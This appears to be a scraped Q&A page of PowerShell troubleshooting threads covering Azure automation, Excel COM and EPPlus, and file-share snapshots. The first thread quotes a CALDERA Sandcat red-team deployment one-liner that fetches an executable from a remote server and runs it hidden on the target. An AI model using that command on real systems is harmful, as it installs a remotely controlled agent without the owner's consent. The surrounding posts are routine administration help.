Errors executing Sandcat from CALDERA on my 2019 windows server - emulation

I am using agent S4ndc47 from CALDERA on my target server. The follow payload script was generated from S4ndc47 and I have executed it on my target using PowerShell in admin mode. This is the script generated:
$server="52.212.164.168:8888";$url="$server/file/download";$wc=New-Object System.Net.WebClient;$wc.Headers.add("platform","windows");$wc.Headers.add("file","sandcat.go");$data=$wc.DownloadData($url);$name=$wc.ResponseHeaders["Content-Disposition"].Substring($wc.ResponseHeaders["Content-Disposition"].IndexOf("filename=")+9).Replace("`"","");get-process | ? {$_.modules.filename -like "C:\Users\Public$name.exe"} | stop-process -f;rm -force "C:\Users\Public$name.exe" -ea ignore;[io.file]::WriteAllBytes("C:\Users\Public$name.exe",$data) | Out-Null;Start-Process -FilePath C:\Users\Public$name.exe -ArgumentList "-server $server -group red" -WindowStyle hidden;
I have tried searching for the solutions online but couldn't find any. These are the errors I'm facing:
Exception calling "DownloadData" with "1" argument(s): "The given path's format is not supported."
At line:1 char:171
... Headers.add("file","sandcat.go");$data=$wc.DownloadData($url);$name=$ ...
~~~~~~~~~~~~~~~~~~~~~~~~~~~~
CategoryInfo : NotSpecified: (:) [], MethodInvocationException
FullyQualifiedErrorId : NotSupportedException
Cannot index into a null array.
At line:1 char:200
... dData($url);$name=$wc.ResponseHeaders["Content-Disposition"].Substrin ...
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
CategoryInfo : InvalidOperation: (:) [], RuntimeException
FullyQualifiedErrorId : NullArray
Exception calling "WriteAllBytes" with "2" argument(s): "Value cannot be null.
Parameter name: bytes"
At line:1 char:482
... -ea ignore;[io.file]::WriteAllBytes("C:\Users\Public$name.exe",$dat ...
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
CategoryInfo : NotSpecified: (:) [], MethodInvocationException
FullyQualifiedErrorId : ArgumentNullException
Start-Process : This command cannot be run due to the error: The system cannot find the file specified.
At line:1 char:553
... | Out-Null;Start-Process -FilePath C:\Users\Public$name.exe -Argume ...
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
CategoryInfo : InvalidOperation: (:) [Start-Process], InvalidOperationException
FullyQualifiedErrorId : InvalidOperationException,Microsoft.PowerShell.Commands.StartProcessCommand
I'm not sure how to solve this. I have Go installed on the target system
Any help would be greatly appreciated!

Related

PowerShell to get Azure API report?

Using the PowerShell below, How can I create the report in a .CSV format for all APIs under my Azure Tenant ?
I tried using the below, as a Global Admin account, but it still failed.
Get-AzApiManagement
$Context = Get-AzContext
Get-AzApiManagementBackend -Context $Context
Get-AzApiManagementProduct -Context $Context
Get-AzApiManagementPolicy -Context $Context
Error:
Get-AzApiManagementBackend : Cannot bind parameter 'Context'. Cannot convert the "Microsoft.Azure.Commands.Profile.Models.Core.PSAzureContext" value of type
"Microsoft.Azure.Commands.Profile.Models.Core.PSAzureContext" to type "Microsoft.Azure.Commands.ApiManagement.ServiceManagement.Models.PsApiManagementContext".
At line:3 char:37
+ Get-AzApiManagementBackend -Context $Context
+ ~~~~~~~~
+ CategoryInfo : InvalidArgument: (:) [Get-AzApiManagementBackend], ParameterBindingException
+ FullyQualifiedErrorId : CannotConvertArgumentNoMessage,Microsoft.Azure.Commands.ApiManagement.ServiceManagement.Commands.GetAzureApiManagementBackend
Get-AzApiManagementProduct : Cannot bind parameter 'Context'. Cannot convert the "Microsoft.Azure.Commands.Profile.Models.Core.PSAzureContext" value of type
"Microsoft.Azure.Commands.Profile.Models.Core.PSAzureContext" to type "Microsoft.Azure.Commands.ApiManagement.ServiceManagement.Models.PsApiManagementContext".
At line:4 char:37
+ Get-AzApiManagementProduct -Context $Context
+ ~~~~~~~~
+ CategoryInfo : InvalidArgument: (:) [Get-AzApiManagementProduct], ParameterBindingException
+ FullyQualifiedErrorId : CannotConvertArgumentNoMessage,Microsoft.Azure.Commands.ApiManagement.ServiceManagement.Commands.GetAzureApiManagementProduct
Get-AzApiManagementPolicy : Cannot bind parameter 'Context'. Cannot convert the "Microsoft.Azure.Commands.Profile.Models.Core.PSAzureContext" value of type
"Microsoft.Azure.Commands.Profile.Models.Core.PSAzureContext" to type "Microsoft.Azure.Commands.ApiManagement.ServiceManagement.Models.PsApiManagementContext".
At line:5 char:36
+ Get-AzApiManagementPolicy -Context $Context
+ ~~~~~~~~
+ CategoryInfo : InvalidArgument: (:) [Get-AzApiManagementPolicy], ParameterBindingException
+ FullyQualifiedErrorId : CannotConvertArgumentNoMessage,Microsoft.Azure.Commands.ApiManagement.ServiceManagement.Commands.GetAzureApiManagementPolicy
-context parameter accepts Instance of PsApiManagementContext.
You need to create the ApiManagementcontext using the New-AzApiManagementContext cmdlet and then pass the Context to the -context parameter to Get-AzApiManagementBackend cmdlet as shown below.
You can refer to this documentation for more information about these powershell cmdlet for APIM

Failed when running powershell code in azure automation

I set an azure policy adding two tags, which are CreatedTime and Type.
The value of CreatedTime is utcNow(), which default format is 'yyyy-MM-ddTHH:mm:ss.fffffffZ'.
My goal is to delete all resources whose Type is private and created time is longer than 2 days by running powershell code in azure automation.
I have done it in power shell locally, but when I run the code in automation, it failed. I will post the code and the error page below.
Anybody can tell me what's wrong with my code? Or I miss something?
This is my code in Azure Automation:
$connectionName = "AzureRunAsConnection"
try
{
# Get the connection "AzureRunAsConnection "
$servicePrincipalConnection=Get-AutomationConnection -Name $connectionName
"Logging in to Azure..."
Add-AzureRmAccount `
-ServicePrincipal `
-TenantId $servicePrincipalConnection.TenantId `
-ApplicationId $servicePrincipalConnection.ApplicationId `
-CertificateThumbprint
$servicePrincipalConnection.CertificateThumbprint
}
catch {
if (!$servicePrincipalConnection)
{
$ErrorMessage = "Connection $connectionName not found."
throw $ErrorMessage
} else{
Write-Error -Message $_.Exception
throw $_.Exception
}
}
$AllRes = (get-AzureRMResource).ResourceId
$TimeOutDays=2
foreach ($Res in $AllRes){
$Resource = Get-AzureRMResource -ResourceId $Res
$Tags=$Resource.Tags
$TypeInTags=$Tags['Type']
$CreatedTimeInTags=$Tags['CreatedTime']
try{
$CreatedTime=[Datetime]::ParseExact($CreatedTimeInTags, 'MM/dd/yyyy HH:mm:ss', $null)
}
catch{
$CreatedTime=[Datetime]::ParseExact($CreatedTimeInTags, 'yyyy-MM-ddTHH:mm:ss.fffffffZ', $null)
}
finally
{
$CreatedTime
}
$daypan=((get-date)-$CreatedTime).Days
if($TypeInTags -eq 'private')
{
if($daypan -gt $TimeOutDays)
{
$daypan
Remove-AzureRMResource -ResourceId $Res -Force
}
}
}
This is the error page:
Suspended
The runbook job was attempted 3 times, but it failed each time. Common reasons that runbook jobs fail can be found here: https://learn.microsoft.com/en-us/azure/automation/automation-troubleshooting-automation-errors
A piece of error message:
Get-AzureRMResource : ResourceNotFound : The Resource
'microsoft.alertsmanagement/smartDetectorAlertRules/Failure+Anomalies+-+arrowbottest2-config' under resource group
'arrowbot2' was not found. For more details please go to https://aka.ms/ARMResourceNotFoundFix
At line:28 char:17
+ $Resource = Get-AzureRMResource -ResourceId $Res
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : CloseError: (:) [Get-AzureRmResource], ErrorResponseMessageException
+ FullyQualifiedErrorId :
ResourceNotFound,Microsoft.Azure.Commands.ResourceManager.Cmdlets.Implementation.GetAzureResourceCmdlet
Exception calling "ParseExact" with "3" argument(s): "String was not recognized as a valid DateTime."
At line:34 char:5
+ $CreatedTime=[Datetime]::ParseExact($Tags['CreatedTime'], 'yyyy-M ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : NotSpecified: (:) [], MethodInvocationException
+ FullyQualifiedErrorId : FormatException
Cannot find an overload for "op_Subtraction" and the argument count: "2".
At line:35 char:5
+ $daypan=((get-date)-$CreatedTime).Days
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : NotSpecified: (:) [], MethodException
+ FullyQualifiedErrorId : MethodCountCouldNotFindBest
Cannot find an overload for "op_Subtraction" and the argument count: "2".
At line:35 char:5
+ $daypan=((get-date)-$CreatedTime).Days
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : NotSpecified: (:) [], MethodException
+ FullyQualifiedErrorId : MethodCountCouldNotFindBest
Exception calling "ParseExact" with "3" argument(s): "String was not recognized as a valid DateTime."
At line:34 char:5
+ $CreatedTime=[Datetime]::ParseExact($Tags['CreatedTime'], 'yyyy-M ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : NotSpecified: (:) [], MethodInvocationException
+ FullyQualifiedErrorId : FormatException
For the type of $Tags['CreatedTime'], I did this for a test: $Tags['CreatedTime'].GetType().FullName.
Since you say The value of CreatedTime is utcNow(), then that value is already a DateTime object and you should not treat it as string. (you think it is a string, because when you write it out to console, it will show its ToString() representation)
Simply do
$CreatedTime=$Tags['CreatedTime']
You can test this with a write-host $Tags['CreatedTime'].GetType().FullName
There are two things wrong.
1.Didn't specify the resource I need.
Detailes:
That's the reason for the error message: Can not index to a null array. I traverse the entire resource in my subscription, but the
resources created before I set the policy do not have a Tag named
"CreatedTime" or "Type", so when I run $Tags=$Resource.Tags, it
said Can not index to a null array.
My solution:
Do $AllRes = (get-AzResource -TagName "CreatedTime").ResourceId other than $AllRes = (get-AzureRMResource).ResourceId.
I found that AzureRM module don't
recognize -TagName as a variable, so I import the Az module and
change every AzureRM module to Az module.
2.Confused with utcNow().
Details:
As I said, with utcNow() function I get a DateTime object with default
format 'yyyy-MM-ddTHH:mm:ss.fffffffZ', after testing a lot,
I found some special resources like application insight' tag value is
not formated with 'yyyy-MM-ddTHH:mm:ss.fffffffZ', and when I call
it, it comes to a string.
My solution:
So when I use it comparing to get-date, I
need to do two things:
(1)Change the string to DateTime object;
(2)Use try-catch to meet two kinds of formats.

Execute PowerShell manipulation (open and SaveAs with Password) for Excel file on server without Office

I'm trying to execute a PowerShell script that operates with Excel File, the script opens the excel and does a SaveAs of the file with a password protection. this works great on a PC with Office, but it doesn't on a server that doesn't have Office installed.
I know that there are some libraries that can be used but I don't know how to use them, here is the code of the PowerShell Script:
$excel = New-Object -ComObject Excel.Application
$excel.Visible = $true
$excel.DisplayAlerts = $false
$LoadPath = Join-Path -Path $pwd -ChildPath "TEMPLATE4WEEKS.xlsx" #$pwd is your current working dir
$SavePath = Join-Path -Path $pwd -ChildPath "TEMPLATE4WEEKSprotected.xlsx"
$wb = $excel.Workbooks.Open($LoadPath)
$wb.SaveAs($SavePath,[Type]::Missing,"password")
$excel.Quit()
and I've read something about libraries such as EPPlus (https://archive.codeplex.com/?p=epplus) but I don't know how to use it.
if it worth mentioning, the error I get when trying to execute the PowerShell script on the server is the following:
New-Object : Retrieving the COM class factory for component with CLSID {00000000-0000-0000-0000-000000000000} failed
due to the following error: 80040154 Class not registered (Exception from HRESULT: 0x80040154 (REGDB_E_CLASSNOTREG)).
At E:\TEMP\PasswordProtectLAST4WEEKS.ps1:1 char:10
+ $excel = New-Object -ComObject Excel.Application
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : ResourceUnavailable: (:) [New-Object], COMException
+ FullyQualifiedErrorId : NoCOMClassIdentified,Microsoft.PowerShell.Commands.NewObjectCommand
The property 'Visible' cannot be found on this object. Verify that the property exists and can be set.
At E:\TEMP\PasswordProtectLAST4WEEKS.ps1:2 char:1
+ $excel.Visible = $true
+ ~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : InvalidOperation: (:) [], RuntimeException
+ FullyQualifiedErrorId : PropertyNotFound
The property 'DisplayAlerts' cannot be found on this object. Verify that the property exists and can be set.
At E:\TEMP\PasswordProtectLAST4WEEKS.ps1:3 char:1
+ $excel.DisplayAlerts = $false
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : InvalidOperation: (:) [], RuntimeException
+ FullyQualifiedErrorId : PropertyNotFound
You cannot call a method on a null-valued expression.
At E:\TEMP\PasswordProtectLAST4WEEKS.ps1:6 char:1
+ $wb = $excel.Workbooks.Open($LoadPath)
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : InvalidOperation: (:) [], RuntimeException
+ FullyQualifiedErrorId : InvokeMethodOnNull
You cannot call a method on a null-valued expression.
At E:\TEMP\PasswordProtectLAST4WEEKS.ps1:9 char:1
+ $wb.SaveAs($SavePath,[Type]::Missing,"jacobs4321")
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : InvalidOperation: (:) [], RuntimeException
+ FullyQualifiedErrorId : InvokeMethodOnNull
You cannot call a method on a null-valued expression.
At E:\TEMP\PasswordProtectLAST4WEEKS.ps1:10 char:1
+ $excel.Quit()
+ ~~~~~~~~~~~~~
+ CategoryInfo : InvalidOperation: (:) [], RuntimeException
+ FullyQualifiedErrorId : InvokeMethodOnNull
Synthesizing my multiple comments as an answer here:
Download EPPlus: https://www.nuget.org/packages/EPPlus/
Read some of the documentation and check their sample code:
https://github.com/JanKallman/EPPlus/wiki/Getting-Started
Then open and save your file like this:
.
Add-Type -Path D:\PathOfExile\epplus.4.5.3.2\lib\net40\EPPlus.dll
$ExcelPackage = New-Object OfficeOpenXml.ExcelPackage("C:\Metallica\WhereverIMayRoam\hehe.xlsx")
$ExcelPackage.Workbook.Worksheets.Add("Test")
$ExcelPackage.SaveAs("C:\Metallica\WhereverYOUMayRoam\newfile.xlsx", "hohoho") # This sets the password of the xlsx to hohoho

Is there someone can tell me how to fix the Error "The remote server returned an error: (409) Conflict."

I use Automation Runbook to create the Azure Files' snapshot. And I get one error
Exception calling "Snapshot" with "0" argument(s): "The remote server returned an error: (409) Conflict." At line:3 char:1 + $snapshot = $share.Snapshot() + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + CategoryInfo : NotSpecified: (:) [], MethodInvocationException + FullyQualifiedErrorId : StorageException,
but it was not consistent.
I use the runbook to create the Azure Files snapshots. At first, it can work well, but recently there have some errors of "The remote server returned an error: (409) Conflict."
I use the code as below to create the snapshots everyday.
$context = New-AzureStorageContext -StorageAccountName "storage" -StorageAccountKey "********"
$share = Get-AzureStorageShare -Context $context -Name "test"
$snapshot = $share.Snapshot()
I want to fix the error.
Exception calling "Snapshot" with "0" argument(s): "The remote server returned an error: (409) Conflict." At line:3 char:1 + $snapshot = $share.Snapshot() + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + CategoryInfo : NotSpecified: (:) [], MethodInvocationException + FullyQualifiedErrorId : StorageException
As per discussed with Arthur, we try to use try-catch as a workaround since we didnot figure out the root cause.
when the create snapshot operation fails, then we can retry more times(like 3 times). The sample code like below:
$RetryIntervalInSeconds = 10
$NumberOfRetryAttempts = 2
$CmdOk = $False
do{
try{ *the code I using now $CmdOk = $True}
catch{ * the error I met $NumberOfRetryAttempts-- Start-Sleep -Seconds $RetryIntervalInSeconds }
}
while (-not $CmdOk -and $NumberOfRetryAttempts -ge 0)

Manipulating Excel with powershell

Good day everybody, so we are trying to automate some Excel and have encountered a few errors, so we have the script that is listed below, but we ran into 3 different errors.
Could someone help us identify where the script went wrong?
The error that we are getting are:
Exception calling "Open" with "1" arguments : "Server error. (excpetion HRESULT: 0x80010105 (RPC_E_SERVERFAU
LT))"
C:\Users\Montage\Desktop\blockadp.ps1:9 char:34
+ $workbook = $excel.workbooks.open <<<< ($excelMacrosFile);
+ CategoryInfo : NotSpecified: (:) [], MethodInvocationException
+ FullyQualifiedErrorId : ComMethodTargetInvocation
Cant call a method with NULL.
C:\Users\Montage\Desktop\blockadp.ps1:10 char:39
+ $worksheet = $workbook.worksheets.item <<<< (1);
+ CategoryInfo : InvalidOperation: (item:String) [], RuntimeException
+ FullyQualifiedErrorId : InvokeMethodOnNull
Exception calling "Run" with "31" arguments: "server error. (excpetion from HRESULT: 0x80010105 (RPC_E_SERVERFAU
LT))"
C:\Users\Montage\Desktop\blockadp.ps1:11 char:11
+ $excel.Run <<<< ("Convert", $inputExcelFile, $outputADSFile);
+ CategoryInfo : NotSpecified: (:) [], MethodInvocationException
+ FullyQualifiedErrorId : DotNetMethodException
cannot call a method with NULL.
C:\Users\Montage\Desktop\blockadp.ps1:13 char:16
+ $workbook.close <<<< ();
+ CategoryInfo : InvalidOperation: (close:String) [], RuntimeException
+ FullyQualifiedErrorId : InvokeMethodOnNull
The script itself:
$excelMacrosFile = "C:\Users\Montage\Desktop\friday.xls";
$inputExcelFile = "C:\Users\Montage\Desktop\25.05.17.xls";
$outputADSFile = "C:\Users\Montage\Desktop\25.05.17.adp";
$excel = new-object -comobject excel.application;
$workbook = $excel.workbooks.open($excelMacrosFile);
$worksheet = $workbook.worksheets.item(1);
$excel.Run("Convert", $inputExcelFile, $outputADSFile);
#$workbook.save();
$workbook.close();
$excel.quit();
Even if I try this only "https://support.jamsscheduler.com/hc/en-us/articles/206191918-How-to-Automate-the-opening-of-an-Excel-Spreadsheet-in-Powershell"
$excelMacrosFile = "C:\Users\Montage\Desktop\friday.xls";
$excel = new-object -comobject excel.application;
$workbook = $excel.workbooks.open($excelMacrosFile);
Then I still get the same error
Exception calling "Open" with "1" argument(s): "The server threw an exception. (Exception from HRESULT: 0x80010105
(RPC_E_SERVERFAULT))"
It's also not permissions as mentioned below since this works:
$test = Get-Content 'C:\Users\Montage\Desktop\25.05.17.xls
The problem was that the version of Microsoft Office that was installed was x86.
When the system itself is x64.
Testing this on x64 office showed no errors, and the script worked as intended.

Resources